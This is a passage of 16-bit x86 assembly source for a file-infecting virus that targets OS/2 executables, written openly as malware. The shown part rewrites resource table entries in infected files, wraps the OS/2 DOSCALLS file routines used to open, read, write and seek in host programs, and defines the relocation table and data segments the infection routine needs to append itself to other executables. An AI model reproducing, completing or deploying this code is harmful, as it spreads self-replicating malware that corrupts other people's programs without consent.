  762.         call    FILE_READ               ;read 8 byte typeinfo record
  763.         cmp     WORD PTR [TEMP],0       ;is type ID 0?
  764.         jz      SHORT URTE              ;yes, all done
  765.  
  766.         mov     cx,WORD PTR [TEMP+2]    ;get count of nameinfo records to read
  767.  
  768. URT2:   push    cx
  769.         mov     dx,OFFSET TEMP
  770.         mov     cx,12
  771.         call    FILE_READ               ;read 1 nameinfo record
  772.  
  773.         mov     ax,WORD PTR [TEMP]      ;get offset of resource
  774.         cmp     ax,[INITSEC]            ;greater than initial cs location?
  775.         jle     SHORT URT3              ;nope, don't worry about it
  776.         add     ax,[VIRSECS]            ;add size of virus
  777.         mov     WORD PTR [TEMP],ax
  778.  
  779.         mov     dx,-12
  780.         mov     cx,0FFFFH
  781.         mov     al,1                    ;now back file pointer up
  782.         call    FILE_SEEK
  783.         mov     dx,OFFSET TEMP          ;and write updated resource rec to
  784.         mov     cx,12                   ;the file
  785.         call    FILE_WRITE
  786.  
  787. URT3:   pop     cx
  788.         dec     cx                      ;read until all nameinfo records for
  789.         jnz     URT2                    ;this typeinfo are done
  790.         jmp     URT1                    ;go get another typeinfo record
  791.  
  792. URTE:   ret
  793.  
  794. ;******************************************************************************
  795. ;Calls to DOSCALL-based file i/o functions go here.
  796.  
  797. ;Open the file specified at ds:dx in read/write mode.
  798. FILE_OPEN:
  799.         push    ds                      ;push pointer to file name
  800.         push    dx
  801.         push    ds                      ;push pointer to handle
  802.         push    OFFSET FHANDLE
  803.         push    ds                      ;push pointer to OpenAction
  804.         push    OFFSET OPENACTION
  805.         push    0                       ;initial file allocation DWORD
  806.         push    0
  807.         push    3                       ;push attributes (hidden, r/o, normal
  808.         push    1                       ;FILE_OPEN
  809.         push    42                      ;OPEN_SHARE_DENYNONE
  810.         push    0                       ;DWORD 0 (reserved)
  811.         push    0
  812. ROPEN:  call    DosOpen                 ;open file
  813.         or      ax,ax                   ;set z flag
  814.         ret                             ;return with handle/error in ax
  815.  
  816. ;Read cx bytes of data to ds:dx from the file whose handle is FHANDLE.
  817. FILE_READ:
  818.         push    [FHANDLE]               ;and pass handle to _lread
  819.         push    ds
  820.         push    dx                      ;buffer to read to
  821.         push    cx                      ;bytes to read
  822.         push    ds                      ;and place to store actual bytes read
  823.         push    OFFSET WRITTEN
  824. RREAD:  call    DosRead                 ;read it
  825.         clc
  826.         or      ax,ax                   ;check for error
  827.         mov     ax,WORD PTR [WRITTEN]   ;ax=bytes written
  828.         jz      FRET                    ;wasn't an error
  829.         stc                             ;set carry if an error
  830. FRET:   ret
  831.  
  832. ;Write cx bytes of data at ds:dx to the file whose handle is FHANDLE.
  833. FILE_WRITE:
  834.         push    [FHANDLE]               ;and pass handle to DosWrite
  835.         push    ds
  836.         push    dx                      ;buffer to write from
  837.         push    cx                      ;bytes to write
  838.         push    ds
  839.         push    OFFSET WRITTEN          ;put actual # of bytes written here
  840. RWRITE: call    DosWrite
  841.         clc
  842.         or      ax,ax
  843.         mov     ax,WORD PTR [WRITTEN]   ;save it in ax
  844.         jz      FWET
  845.         stc
  846. FWET:   ret
  847.  
  848. ;Seek to location dx:cx in file. Return absolute file pointer in cx:ax.
  849. FILE_SEEK_ST:
  850.         xor     al,al
  851. FILE_SEEK:
  852.         push    [FHANDLE]               ;push file handle
  853.         push    cx
  854.         push    dx                      ;number of bytes to move
  855.         xor     ah,ah                   ;ax=origin to seek from
  856.         push    ax                      ;0=beginning, 1=current, 2=end
  857.         push    ds
  858.         push    OFFSET WRITTEN          ;place to put absolute file ptr
  859. RSEEK:  call    DosChgFilePtr           ;go set file pointer
  860.         clc
  861.         or      ax,ax
  862.         mov     ax,WORD PTR [WRITTEN]
  863.         mov     dx,WORD PTR [WRITTEN+2]
  864.         jz      FSET
  865.         stc
  866. FSET:   ret
  867.  
  868. ;Close the file FHANDLE.
  869. FILE_CLOSE:
  870.         push    [FHANDLE]               ;pass handle to DosClose
  871. RCLOSE: call    DosClose                ;and do it
  872.         ret
  873.  
  874.  
  875. ;******************************************************************************
  876. ;The following HOST is only here for the inital startup program. Once the virus
  877. ;infects a file, the virus will jump to the startup code for the program it
  878. ;is attached to.
  879. HOST:
  880.         push    1                               ;termiate all threads
  881.         push    0                               ;return code 0
  882.         call    DosExit                         ;terminate program
  883.  
  884.  
  885. ;The following are the relocatables added to the relocation table in this
  886. ;sector in order to accomodate the virus. This must be the last thing in the
  887. ;code segment in order for the patch program to work properly.
  888. ARELOCS         DW      9                       ;number of relocatables to add
  889.  
  890. R_OPEN          DW      103H,OFFSET ROPEN+1,1,70  ;relocatables table
  891. R_READ          DW      103H,OFFSET RREAD+1,1,137
  892. R_WRITE         DW      103H,OFFSET RWRITE+1,1,138
  893. R_SEEK          DW      103H,OFFSET RSEEK+1,1,58
  894. R_CLOSE         DW      103H,OFFSET RCLOSE+1,1,59
  895. R_FFIRST        DW      103H,OFFSET FFIRST+1,1,64
  896. R_FNEXT         DW      103H,OFFSET FNEXT+1,1,65
  897. R_DALSE         DW      103H,OFFSET DALSE+1,1,34
  898. R_DFRSE         DW      103H,OFFSET DFRSE+1,1,39
  899.  
  900. ;******************************************************************************
  901. END_VIRUS:                              ;label for the end of the windows virus
  902.  
  903. CODE    ENDS
  904.  
  905. ;No data is hard-coded into the data segment since in OS/2, the virus must
  906. ;allocate the data segment when it runs. As such, we must assume it will be
  907. ;filled with random garbage when the program starts up. The CREATE_DS routine
  908. ;above initializes some of the data used in this segment that would be
  909. ;hard-coded in a normal program.
  910. _DATA   SEGMENT PARA USE16 'DATA'
  911.  
  912. DATASTART       EQU     $
  913.  
  914. FILE_ID1        DB      6 dup (?)               ;for searching for files
  915. FILE_ID2        DB      6 dup (?)               ;for searching for files
  916. KNAME           DB      8 dup (?)               ;"DOSCALLS"
  917. VSTART          DW      ?                       ;starting offset of virus in ram
  918. WRITTEN         DD      ?                       ;bytes actually written to file
  919. ENTRYPT         DW      ?                       ;initial ip of virus start
  920. NH_OFFSET       DW      ?                       ;new header offset from start of file
  921. VIRSECS         DW      ?                       ;size added to file (secs) for virus
  922. INITSEC         DW      ?                       ;initial cs loc in file (sectors)
  923. RELOCS          DW      ?                       ;number of relocatables in cs
  924. LOG_SEC         DW      ?                       ;logical sector size for program
  925. CS_SIZE         DW      ?                       ;code segment size
  926. KERNEL          DW      ?                       ;KERNEL module number
  927. FHANDLE         DW      ?                       ;file handle for new host
  928. OPENACTION      DW      ?                       ;used by DosOpen
  929. SRCHCOUNT       DW      ?                       ;used by DosFindFirst/Next
  930. DHANDLE         DW      ?                       ;used bo DosFindFirst/Next
  931. NEW_HDR         DB      NEW_HDR_SIZE dup (?)    ;space to put new exe header in
  932. TEMP            DB      DATABUF_SIZE dup (?)    ;temporary data storage
  933. SBUF            DB      279 dup (?)             ;DosFind search buffer structure
  934.  
  935. DATAEND         EQU     $
  936.  
  937. _DATA   ENDS
  938.  
  939.  
  940. _STACK  SEGMENT PARA USE16 STACK 'STACK'
  941.         db      5120 dup (?)
  942. _STACK  ENDS
  943.  
  944.         END     VIRUS
  945.